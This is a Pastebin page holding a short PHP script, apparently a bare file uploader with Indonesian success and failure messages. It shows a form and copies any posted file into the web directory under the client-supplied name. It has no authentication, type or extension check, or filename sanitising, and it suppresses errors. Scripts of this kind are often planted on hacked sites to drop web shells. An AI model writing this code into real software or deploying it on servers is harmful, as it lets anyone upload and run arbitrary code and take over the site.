Advertisement
EddieKidiw

Php form upload

Dec 21st, 2015
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.46 KB | None | 0 0
  1. <?php
  2. echo'
  3. <form method="post" enctype="multipart/form-data">
  4. <input type="file" name="data">
  5. <input name="u" type="submit" value="upload"><br></form>';
  6.     if($_POST['u'] == 'upload'){
  7.         if(@copy($_FILES['data']['tmp_name'],$_FILES['data']['name'])){
  8.             echo"Upload berhasil ".$_FILES['data']['name'];
  9.         }else{
  10.             echo"Upload gagal ".$_FILES['data']['name'];
  11.         }
  12.     }
  13.  
  14.  
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement